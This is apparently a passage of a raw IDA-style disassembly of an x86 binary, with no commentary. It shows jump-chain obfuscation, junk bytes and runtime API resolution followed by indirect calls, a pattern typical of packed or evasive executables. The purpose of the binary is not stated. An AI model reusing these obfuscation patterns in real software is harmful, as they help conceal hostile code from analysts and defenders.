loc_40519B: ; CODE XREF: .text:loc_4051BBj jmp short loc_4051CB ; --------------------------------------------------------------------------- db 77h, 0E4h, 4Dh dd 49501302h, 57C6F4Eh, 81688B5Ah, 0BD146726h, 0B98003B2h dd 75AC5FFEh ; --------------------------------------------------------------------------- or bh, [ebx-68h] loc_4051BB: ; CODE XREF: .text:00405196j jmp short loc_40519B ; --------------------------------------------------------------------------- db 0F1h, 0D6h, 57h dd 0F3622D44h ; --------------------------------------------------------------------------- loc_4051C4: ; CODE XREF: .text:loc_4051CBj jmp short loc_4051F2 ; --------------------------------------------------------------------------- dw 29B0h db 0AEh, 4Fh, 0DCh ; --------------------------------------------------------------------------- loc_4051CB: ; CODE XREF: .text:loc_40519Bj jmp short loc_4051C4 ; --------------------------------------------------------------------------- loc_4051CD: ; CODE XREF: .text:loc_4051F2j jmp short near ptr sub_405202 ; --------------------------------------------------------------------------- db 0E5h dd 61C86BBAh, 9D744786h, 99E0E312h, 550C3F5Eh, 0D1F85B6Ah dd 0DA43736h, 910D3C2h, 0C53C2F0Eh db 1Ah, 4Bh ; --------------------------------------------------------------------------- loc_4051F2: ; CODE XREF: .text:loc_4051C4j jmp short loc_4051CD ; --------------------------------------------------------------------------- dd 27E64128h, 0C3727DD4h, 1FBE7940h db 6Ch, 35h ; =============== S U B R O U T I N E ======================================= sub_405202 proc far ; CODE XREF: .text:loc_4051CDj ; .text:00408330p push ebp jmp short loc_40522F ; --------------------------------------------------------------------------- and dh, [ebx+0F6EE970h] pushf loc_40520C: ; CODE XREF: sub_405202:loc_40522Fj jmp short loc_40523F ; --------------------------------------------------------------------------- dw 7AA5h dd 4621882Bh, 0D25D3407h, 1E59A0A3h, 2A15CCFFh, 0F691B81Bh dd 82CD64F7h, 0CEC9D093h db 0EFh, 0FCh, 85h ; --------------------------------------------------------------------------- loc_40522F: ; CODE XREF: sub_405202+1j jmp short loc_40520C ; --------------------------------------------------------------------------- loc_405231: ; CODE XREF: sub_405202:loc_40523Fj jmp short loc_405260 ; --------------------------------------------------------------------------- db 0DAh ; --------------------------------------------------------------------------- or ebp, eax add [esi+323D94E7h], esp add dword ptr [eax], 39h loc_40523F: ; CODE XREF: sub_405202:loc_40520Cj jmp short loc_405231 ; --------------------------------------------------------------------------- db 7Eh, 0DFh, 2Ch dd 18FB8AF5h, 0C4D75671h, 3073E2ADh, 5CCF2EA9h, 48EB3A65h dd 0F4C706E1h, 6063921Dh ; --------------------------------------------------------------------------- loc_405260: ; CODE XREF: sub_405202:loc_405231j mov ebp, esp push ebx push edi push eax pop ebx jmp loc_40527B ; --------------------------------------------------------------------------- db 87h, 0FFh ; --------------------------------------------------------------------------- shl ebx, 0Ah push ebx pop edi mov di, 4950h test cl, cl mov ebx, ecx inc edi loc_40527B: ; CODE XREF: sub_405202+64j cld pop edi pop ebx add esp, 0FFFFFFF8h jmp short loc_4052B2 ; --------------------------------------------------------------------------- db 78h db 51h, 0B6h ; --------------------------------------------------------------------------- loc_405286: ; CODE XREF: sub_405202:loc_4052B2j jmp short loc_4052C5 ; --------------------------------------------------------------------------- mov bh, 24h lea eax, [edx+53h] nop mov [esi-65BA4351h], ecx retf ; --------------------------------------------------------------------------- db 0A8h, 0C1h, 66h dd 0F2FD54A7h, 3EF9C043h, 4AB5EC9Fh, 1631D8BBh, 0A26D8497h dd 0EE69F033h db 8Fh, 1Ch ; --------------------------------------------------------------------------- loc_4052B2: ; CODE XREF: sub_405202+7Fj jmp short loc_405286 ; --------------------------------------------------------------------------- dd 8ABFA25h db 0A1h, 0C6h, 87h ; --------------------------------------------------------------------------- loc_4052BB: ; CODE XREF: sub_405202:loc_4052C5j jmp short loc_4052E8 ; --------------------------------------------------------------------------- db 0B4h, 0DDh, 52h dd 9ED92023h db 7Fh ; --------------------------------------------------------------------------- loc_4052C5: ; CODE XREF: sub_405202:loc_405286j jmp short loc_4052BB ; --------------------------------------------------------------------------- db 4Ch dd 389BAA95h, 0E4777611h, 5013024Dh, 7C6F4E49h, 688B5A05h dd 14672681h, 8003B2BDh, 0AC5FFEB9h ; --------------------------------------------------------------------------- loc_4052E8: ; CODE XREF: sub_405202:loc_4052BBj push esi jmp short loc_405318 ; --------------------------------------------------------------------------- db 57h dd 0F3622D44h, 4FAE29B0h, 6BBAE5DCh, 478661C8h, 0E3129D74h dd 3F5E99E0h, 5B6A550Ch, 3736D1F8h db 0A4h, 0Dh ; --------------------------------------------------------------------------- loc_40530E: ; CODE XREF: sub_405202:loc_405318j jmp short loc_40533B ; --------------------------------------------------------------------------- retn 10D3h ; --------------------------------------------------------------------------- or [esi], ecx das cmp al, 0C5h loc_405318: ; CODE XREF: sub_405202+E7j jmp short loc_40530E ; --------------------------------------------------------------------------- db 1Ah ; --------------------------------------------------------------------------- loc_40531B: ; CODE XREF: sub_405202:loc_40533Bj jmp short loc_40534B ; --------------------------------------------------------------------------- db 4Bh, 28h, 41h dd 7DD427E6h, 7940C372h, 356C1FBEh, 0B1583BCAh, 0ED041796h dd 0E970B322h db 6Eh, 0Fh, 9Ch ; --------------------------------------------------------------------------- loc_40533B: ; CODE XREF: sub_405202:loc_40530Ej jmp short loc_40531B ; --------------------------------------------------------------------------- db 0A5h, 7Ah, 2Bh dd 7462188h, 0A3D25D34h db 0A0h, 59h, 1Eh ; --------------------------------------------------------------------------- loc_40534B: ; CODE XREF: sub_405202:loc_40531Bj push edi jmp short loc_40537D ; --------------------------------------------------------------------------- xchg eax, ecx div bh loc_405351: ; CODE XREF: sub_405202:loc_40537Dj jmp short loc_405395 ; --------------------------------------------------------------------------- db 64h dd 0D09382CDh, 0FCEFCEC9h, 0E80BDA85h, 94E7A601h, 83323Dh dd 2CDF7E39h, 18FB8AF5h, 0C4D75671h, 3073E2ADh, 5CCF2EA9h db 65h ; --------------------------------------------------------------------------- loc_40537D: ; CODE XREF: sub_405202+14Aj jmp short loc_405351 ; --------------------------------------------------------------------------- db 3Ah ; --------------------------------------------------------------------------- jmp short loc_4053CA ; --------------------------------------------------------------------------- db 0E1h ; --------------------------------------------------------------------------- loc_405383: ; CODE XREF: sub_405202:loc_405395j jmp short loc_4053B5 ; --------------------------------------------------------------------------- push es mov esp, 6063921Dh sbb esi, ebx mov edi, 0DBEAD58Ch js short loc_4053E6 loc_405395: ; CODE XREF: sub_405202:loc_405351j jmp short loc_405383 ; --------------------------------------------------------------------------- mov dh, 0B7h and al, 8Dh inc edx loc_40539C: ; CODE XREF: sub_405202+200j push ebx nop mov [esi-65BA4351h], ecx retf ; --------------------------------------------------------------------------- db 0A8h, 0C1h, 66h dd 0F2FD54A7h, 3EF9C043h, 4AB5EC9Fh db 0BBh ; --------------------------------------------------------------------------- loc_4053B5: ; CODE XREF: sub_405202:loc_405383j push ebx push eax push edx loc_4053B8: ; CODE XREF: sub_405202+217j ; sub_405202+21Bj xor eax, edi inc eax cld pop edx pop eax mov esi, [ebp+8] jmp short loc_4053D9 ; --------------------------------------------------------------------------- db 0EEh dd 0FA251C8Fh db 0ABh, 8 ; --------------------------------------------------------------------------- loc_4053CA: ; CODE XREF: sub_405202+17Ej ; sub_405202:loc_4053D9j jmp short loc_4053F8 ; --------------------------------------------------------------------------- dd 0B487C6A1h, 202352DDh, 4C7F9ED9h ; --------------------------------------------------------------------------- xchg eax, ebp loc_4053D9: ; CODE XREF: sub_405202+1BFj jmp short loc_4053CA ; --------------------------------------------------------------------------- loc_4053DB: ; CODE XREF: sub_405202:loc_4053F8j jmp short loc_405408 ; --------------------------------------------------------------------------- db 0AAh, 9Bh, 38h dd 0E4777611h db 4Dh, 2 ; --------------------------------------------------------------------------- loc_4053E6: ; CODE XREF: sub_405202+191j adc edx, [eax+49h] dec esi outsd jl short near ptr loc_4053F1+1 pop edx mov ebp, [eax-7Fh] loc_4053F1: ; CODE XREF: sub_405202+1E9j db 26h, 67h adc al, 0BDh mov dl, 3 ; --------------------------------------------------------------------------- db 80h ; --------------------------------------------------------------------------- loc_4053F8: ; CODE XREF: sub_405202:loc_4053CAj jmp short loc_4053DB ; --------------------------------------------------------------------------- dw 0FEB9h ; --------------------------------------------------------------------------- pop edi lodsb jnz short loc_40540A loc_405400: ; CODE XREF: sub_405202:loc_405408j jmp short loc_40542B ; --------------------------------------------------------------------------- jnp short loc_40539C icebp setalc push edi inc esp loc_405408: ; CODE XREF: sub_405202:loc_4053DBj jmp short loc_405400 ; --------------------------------------------------------------------------- loc_40540A: ; CODE XREF: sub_405202+1FCj sub eax, 29B0F362h scasb dec edi fsubr st(5), st mov edx, 8661C86Bh inc edi jz short loc_4053B8 adc ah, bl loopne loc_4053B8 pop esi aas or al, 55h push 5Bh clc sal dword ptr [esi], 1 aaa movsb ; --------------------------------------------------------------------------- db 0Dh ; --------------------------------------------------------------------------- loc_40542B: ; CODE XREF: sub_405202:loc_405400j mov edx, [ebp+0Ch] push ecx push esi cmp ebx, ecx mov ecx, 808C9Ah xor ecx, ecx mov ecx, eax test al, dl not ecx push ebp pop esi dec ecx dec esi cld pop esi pop ecx add esi, edx jmp short loc_405458 ; --------------------------------------------------------------------------- dw 4128h dd 7DD427E6h db 72h ; --------------------------------------------------------------------------- loc_405451: ; CODE XREF: sub_405202:loc_405458j jmp short loc_40547F ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- dd 1FBE7940h ; --------------------------------------------------------------------------- loc_405458: ; CODE XREF: sub_405202+246j jmp short loc_405451 ; --------------------------------------------------------------------------- loc_40545A: ; CODE XREF: sub_405202:loc_40547Fj jmp short loc_40548F ; --------------------------------------------------------------------------- dd 3BCA356Ch, 1796B158h, 0B322ED04h, 0F6EE970h, 2B7AA59Ch dd 7462188h, 0A3D25D34h, 0FF1E59A0h db 0CCh db 15h, 2Ah ; --------------------------------------------------------------------------- loc_40547F: ; CODE XREF: sub_405202:loc_405451j jmp short loc_40545A sub_405202 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 1Bh, 0B8h, 91h dd 0CD64F7F6h, 0C9D09382h db 0CEh, 0EFh, 0FCh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_40548F: ; CODE XREF: sub_405202:loc_40545Aj ; start:loc_406465j mov eax, [esi+0Ch] push eax push edi xchg eax, edi not eax not eax dec eax cld pop edi pop eax test eax, eax jz loc_4064CB jmp short loc_4054D8 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- db 32h, 83h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_4054AA: ; CODE XREF: start:loc_4054D8j jmp short loc_4054F3 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- dd 0DF7E3900h, 0FB8AF52Ch, 0D7567118h, 73E2ADC4h, 0CF2EA930h dd 0EB3A655Ch, 0C706E148h, 63921DF4h, 0BFDE1960h, 0DBEAD58Ch dd 0B7B65178h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_4054D8: ; CODE XREF: start-ED2j jmp short loc_4054AA ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- and al, 8Dh inc edx push ebx nop ; START OF FUNCTION CHUNK FOR start loc_4054DF: ; CODE XREF: start:loc_4054F3j jmp short loc_40550E ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- mov [esi-65BA4351h], ecx retf ; --------------------------------------------------------------------------- dd 0A766C1A8h, 43F2FD54h ; --------------------------------------------------------------------------- sar cl, 3Eh ; START OF FUNCTION CHUNK FOR start loc_4054F3: ; CODE XREF: start:loc_4054AAj jmp short loc_4054DF ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- db 9Fh, 0ECh, 0B5h dd 31D8BB4Ah, 6D849716h, 69F033A2h, 251C8FEEh, 0A108ABFAh db 0C6h, 87h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_40550E: ; CODE XREF: start:loc_4054DFj add eax, edx push edx push ebx inc edx jnz short loc_405527 push esp pop edx test cl, cl test cl, dl rcr edx, 0F8h mov ebx, esp mov dx, 4A90h shr ebx, 3Eh loc_405527: ; CODE XREF: start-E65j adc ebx, 80915Ah cld pop ebx pop edx mov ebx, eax jmp short loc_405557 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- db 38h, 11h, 76h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_405537: ; CODE XREF: start:loc_405557j jmp short loc_405567 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- db 77h, 0E4h, 4Dh dd 49501302h, 57C6F4Eh, 81688B5Ah, 0BD146726h, 0B98003B2h dd 75AC5FFEh ; --------------------------------------------------------------------------- or bh, [ebx-68h] ; START OF FUNCTION CHUNK FOR start loc_405557: ; CODE XREF: start-E46j jmp short loc_405537 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- db 0F1h, 0D6h, 57h dd 0F3622D44h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_405560: ; CODE XREF: start:loc_405567j jmp short loc_40558E ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- dw 29B0h db 0AEh, 4Fh, 0DCh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_405567: ; CODE XREF: start:loc_405537j jmp short loc_405560 ; --------------------------------------------------------------------------- loc_405569: ; CODE XREF: start:loc_40558Ej jmp short loc_40559E ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- db 0E5h dd 61C86BBAh, 9D744786h, 99E0E312h, 550C3F5Eh, 0D1F85B6Ah dd 0DA43736h, 910D3C2h, 0C53C2F0Eh db 1Ah, 4Bh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_40558E: ; CODE XREF: start:loc_405560j jmp short loc_405569 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- dd 27E64128h, 0C3727DD4h, 1FBE7940h db 6Ch, 35h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_40559E: ; CODE XREF: start:loc_405569j push eax push ebx push edi test al, dl test al, bl mov ebx, 80885Ah mov bx, 4948h not ebx test eax, edi neg edi cld pop edi pop ebx push 0A48D6762h push eax push edx mov edx, ebx xchg eax, edx repne jz loc_4055CE test al, dh nop push ebp pop eax loc_4055CE: ; CODE XREF: start-DB6j xchg edx, edx inc edx cld pop edx pop eax push dword ptr [ebp+10h] push edx push edi mov edx, 818D5Ah mov di, 4948h shl edi, 4Dh test cl, dh dec edi cld pop edi pop edx call near ptr sub_4048A4 push eax push esi mov eax, 80A89Ah xchg esi, eax mov esi, 80A25Ah cmp ebx, esp not esi not eax nop cld pop esi pop eax call eax push ecx push ebx mov ebx, edx and ebx, 809B5Ah test cl, al clc cld pop ebx pop ecx test eax, eax jnz loc_4056AF jmp short loc_40564D ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- db 9Ch, 0A5h, 7Ah ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_405627: ; CODE XREF: start:loc_40564Dj jmp short sub_40565F ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- db 2Bh, 88h, 21h dd 5D340746h, 59A0A3D2h, 15CCFF1Eh, 91B81B2Ah, 0CD64F7F6h dd 0C9D09382h, 85FCEFCEh, 1E80BDAh ; --------------------------------------------------------------------------- cmpsb ; START OF FUNCTION CHUNK FOR start loc_40564D: ; CODE XREF: start-D56j jmp short loc_405627 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- db 0E7h dd 83323D94h, 0DF7E3900h, 0FB8AF52Ch ; --------------------------------------------------------------------------- sbb [ecx+56h], dh ; =============== S U B R O U T I N E ======================================= sub_40565F proc near ; CODE XREF: start:loc_405627j push ebx push edi push ecx xor ecx, esi inc edi cld pop ecx pop edi push 0C8AC8026h push ecx push edx not ecx dec ecx cld pop edx pop ecx push dword ptr [ebp+10h] push edx push eax mov ax, 4909h cmp edx, ebp cmc cld pop eax pop edx call near ptr sub_4048A4 push ecx push edx push ecx pop ecx inc ecx cld pop edx pop ecx call eax push ecx push eax not ecx shl ecx, 0C1h sbb ecx, 81089Ah cmp bh, dl not eax neg ecx test eax, ebx test al, bl neg eax cld pop eax pop ecx sub_40565F endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR start loc_4056AF: ; CODE XREF: start-D5Cj mov [ebp-4], eax push esi push edi xor esi, esi inc esi cld pop edi pop esi mov dword ptr [ebp-8], 0 jmp short loc_4056EE ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- db 6 db 0C7h, 0F4h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_4056C6: ; CODE XREF: start:loc_4056EEj jmp short loc_405701 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- sbb eax, 19606392h fidivr word ptr [edi-24152A74h] js short loc_405726 mov dh, 0B7h and al, 8Dh inc edx push ebx nop mov [esi-65BA4351h], ecx retf ; --------------------------------------------------------------------------- db 0A8h dd 54A766C1h, 0C043F2FDh db 0F9h, 3Eh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_4056EE: ; CODE XREF: start-CB7j jmp short loc_4056C6 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- dd 4AB5EC9Fh, 1631D8BBh, 0A26D8497h, 0EE69F033h db 8Fh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_405701: ; CODE XREF: start:loc_4056C6j ; start:loc_406385j mov edx, [ebp+0Ch] jmp short loc_405722 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- dw 0C6A1h dd 52DDB487h db 23h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_40570D: ; CODE XREF: start:loc_405722j jmp short loc_405739 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- db 20h dd 4C7F9ED9h, 389BAA95h, 0E4777611h, 5013024Dh ; --------------------------------------------------------------------------- dec ecx dec esi ; START OF FUNCTION CHUNK FOR start loc_405722: ; CODE XREF: start-C74j jmp short loc_40570D ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- db 6Fh, 7Ch ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_405726: ; CODE XREF: .text:004056D3j ; start:loc_405739j jmp short loc_405758 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- dd 688B5A05h, 14672681h, 8003B2BDh, 0AC5FFEB9h db 75h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_405739: ; CODE XREF: start:loc_40570Dj jmp short loc_405726 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- db 0Ah dd 0D6F1987Bh, 622D4457h, 0AE29B0F3h, 0BAE5DC4Fh, 8661C86Bh dd 129D7447h, 5E99E0E3h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_405758: ; CODE XREF: start:loc_405726j mov eax, [esi] push ecx push eax xor eax, esi lea ecx, ds:84AFDAh xchg eax, eax mov ecx, 80C81Ah mov cx, 4947h cld pop eax pop ecx test eax, eax jnz loc_4057D5 push ebx push edi xchg edi, edi xchg edi, edi xor edi, esi test eax, edx xchg edi, ebx shl ebx, 98h push ebx pop edi dec edi clc xor ebx, edi cld pop edi pop ebx mov eax, [esi+10h] jmp short loc_4057C2 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- db 36h ; --------------------------------------------------------------------------- aaa movsb ; START OF FUNCTION CHUNK FOR start loc_40579A: ; CODE XREF: start:loc_4057C2j jmp short loc_4057D5 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- dd 10D3C20Dh, 3C2F0E09h, 284B1AC5h, 0D427E641h, 40C3727Dh dd 6C1FBE79h, 583BCA35h, 41796B1h, 70B322EDh db 0E9h, 6Eh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_4057C2: ; CODE XREF: start-BE3j jmp short loc_40579A ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- setl byte ptr [ebp+21882B7Ah] inc esi pop es xor al, 5Dh shl byte ptr [ebx-0E1A660h], cl ; START OF FUNCTION CHUNK FOR start loc_4057D5: ; CODE XREF: start-C04j ; start:loc_40579Aj add eax, edx push esi push edi xor edi, eax mov si, 4948h mov esi, edx lea esi, ds:8088DAh inc esi cld pop edi pop esi add eax, [ebp-8] jmp short loc_40581A ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- dd 82CD64F7h, 0CEC9D093h, 0DA85FCEFh db 0Bh, 0E8h, 1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_4057FF: ; CODE XREF: start:loc_40581Aj jmp short loc_405831 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- db 0A6h, 0E7h, 94h dd 83323Dh, 2CDF7E39h, 18FB8AF5h, 0C4D75671h, 3073E2ADh db 0A9h, 2Eh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_40581A: ; CODE XREF: start-B8Aj jmp short loc_4057FF ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- dd 3A655CCFh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_405820: ; CODE XREF: start:loc_405831j jmp short loc_405850 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- jmp short loc_40586C ; --------------------------------------------------------------------------- dd 0F4C706E1h, 6063921Dh, 8CBFDE19h db 0D5h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_405831: ; CODE XREF: start:loc_4057FFj jmp short loc_405820 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- db 0EAh ; --------------------------------------------------------------------------- fstp tbyte ptr [eax+51h] mov dh, 0B7h and al, 8Dh inc edx push ebx nop mov [esi-65BA4351h], ecx retf ; --------------------------------------------------------------------------- db 0A8h, 0C1h, 66h dd 0F2FD54A7h, 3EF9C043h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_405850: ; CODE XREF: start:loc_405820j mov ebx, [eax] jmp short loc_405883 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- fdiv dword ptr [ecx] push ss ; START OF FUNCTION CHUNK FOR start loc_405857: ; CODE XREF: start:loc_405883j jmp short loc_405896 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- xchg eax, edi test [ebp-5Eh], ch xor esi, eax imul ebp, esi, 0FA251C8Fh stosd or [ecx-224B783Ah], ah loc_40586C: ; CODE XREF: .text:00405822j push edx and esp, [eax] fstp dword ptr [esi-556AB381h] wait cmp [ecx], dl jbe short loc_4058F1 in al, 4Dh add dl, [ebx] push eax dec ecx dec esi outsd ; --------------------------------------------------------------------------- db 7Ch ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_405883: ; CODE XREF: start-B26j jmp short loc_405857 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- db 5, 5Ah, 8Bh dd 67268168h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_40588C: ; CODE XREF: start:loc_405896j jmp short loc_4058B9 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- dw 0BD14h dd 0B98003B2h db 0FEh, 5Fh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_405896: ; CODE XREF: start:loc_405857j jmp short loc_40588C ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- dd 7B0A75ACh, 57D6F198h, 0F3622D44h, 4FAE29B0h, 6BBAE5DCh dd 478661C8h, 0E3129D74h, 3F5E99E0h db 0Ch ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_4058B9: ; CODE XREF: start:loc_40588Cj mov edi, [esi+10h] jmp short loc_4058EB ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- clc sal dword ptr [esi], 1 ; START OF FUNCTION CHUNK FOR start loc_4058C1: ; CODE XREF: start:loc_4058EBj jmp short loc_4058FE ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- db 37h dd 0D3C20DA4h, 2F0E0910h, 4B1AC53Ch, 27E64128h, 0C3727DD4h dd 1FBE7940h, 3BCA356Ch, 1796B158h, 0B322ED04h db 70h, 0E9h, 6Eh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_4058EB: ; CODE XREF: start-ABCj jmp short loc_4058C1 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- db 0Fh, 9Ch, 0A5h db 7Ah ; --------------------------------------------------------------------------- loc_4058F1: ; CODE XREF: .text:00405878j sub ecx, [eax+34074621h] pop ebp shl byte ptr [ebx-0E1A660h], cl ; START OF FUNCTION CHUNK FOR start loc_4058FE: ; CODE XREF: start:loc_4058C1j add edi, edx push esi push edi cmp esi, 0C09A38h dec esi cld pop edi pop esi add edi, [ebp-8] jmp short loc_40593B ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- db 91h, 0F6h, 0F7h dd 9382CD64h, 0EFCEC9D0h, 0BDA85FCh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_405920: ; CODE XREF: start:loc_40593Bj jmp short loc_405952 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- dw 1E8h dd 3D94E7A6h, 39008332h, 0F52CDF7Eh, 7118FB8Ah, 0ADC4D756h db 0E2h, 73h, 30h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_40593B: ; CODE XREF: start-A69j jmp short loc_405920 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- db 0A9h, 2Eh, 0CFh dd 0EB3A655Ch, 0C706E148h, 63921DF4h, 0BFDE1960h ; --------------------------------------------------------------------------- mov ebp, ss ; START OF FUNCTION CHUNK FOR start loc_405952: ; CODE XREF: start:loc_405920j test ebx, ebx jz loc_406392 push ebx push esi mov ebx, edi xchg esi, ebx mov ebx, edi inc esi cld pop esi pop ebx test ebx, 80000000h jnz near ptr sub_405A52 push edi push ecx xchg edi, ecx jz loc_40597E not edi loc_40597E: ; CODE XREF: start-A02j lea ecx, ds:80899Ah push eax pop ecx dec ecx cld pop ecx pop edi add ebx, edx jmp short loc_4059BC ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- dw 428Dh dd 8E899053h ; --------------------------------------------------------------------------- scasd ; START OF FUNCTION CHUNK FOR start loc_405995: ; CODE XREF: start:loc_4059BCj jmp short loc_4059CD ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- db 0BCh dd 0A8CB9A45h, 54A766C1h, 0C043F2FDh, 0EC9F3EF9h, 0D8BB4AB5h dd 84971631h, 0F033A26Dh, 1C8FEE69h, 8ABFA25h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_4059BC: ; CODE XREF: start-9ECj jmp short loc_405995 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- mov eax, ds:0DDB487C6h push edx and esp, [eax] fstp dword ptr [esi-556AB381h] wait ; START OF FUNCTION CHUNK FOR start loc_4059CD: ; CODE XREF: start:loc_405995j inc ebx push eax push ecx xor eax, edi mov cx, 4E52h repne sbb ecx, 80AE9Ah test ecx, ebp push ebx pop ecx cmp ah, ah mov ecx, edi inc ecx inc ecx cld pop ecx pop eax inc ebx jmp short loc_405A1B ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- db 49h, 4Eh, 6Fh dd 8B5A057Ch ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_4059F4: ; CODE XREF: start:loc_405A1Bj jmp short loc_405A2B ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- dw 8168h dd 0BD146726h, 0B98003B2h, 75AC5FFEh, 0F1987B0Ah, 2D4457D6h dd 29B0F362h, 0E5DC4FAEh, 61C86BBAh ; --------------------------------------------------------------------------- xchg al, [edi+74h] ; START OF FUNCTION CHUNK FOR start loc_405A1B: ; CODE XREF: start-98Dj jmp short loc_4059F4 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- popf adc ah, bl ; START OF FUNCTION CHUNK FOR start loc_405A20: ; CODE XREF: start:loc_405A2Bj jmp short near ptr sub_405A52 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- dw 99E0h ; --------------------------------------------------------------------------- pop esi aas or al, 55h push 5Bh clc ; START OF FUNCTION CHUNK FOR start loc_405A2B: ; CODE XREF: start:loc_4059F4j jmp short loc_405A20 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- db 0D1h, 36h, 37h dd 0D3C20DA4h, 2F0E0910h, 4B1AC53Ch, 27E64128h, 0C3727DD4h dd 1FBE7940h, 3BCA356Ch, 1796B158h ; --------------------------------------------------------------------------- add al, 0EDh ; =============== S U B R O U T I N E ======================================= sub_405A52 proc far ; CODE XREF: start-A0Cj ; start:loc_405A20j ; FUNCTION CHUNK AT 0040636B SIZE 00000007 BYTES push ebx jmp short loc_405A77 ; --------------------------------------------------------------------------- setl byte ptr [ebp+21882B7Ah] loc_405A5C: ; CODE XREF: sub_405A52:loc_405A77j jmp short loc_405A8E ; --------------------------------------------------------------------------- dw 746h dd 0A3D25D34h, 0FF1E59A0h, 1B2A15CCh, 0F7F691B8h, 9382CD64h db 0D0h, 0C9h, 0CEh ; --------------------------------------------------------------------------- loc_405A77: ; CODE XREF: sub_405A52+1j jmp short loc_405A5C ; --------------------------------------------------------------------------- db 0EFh, 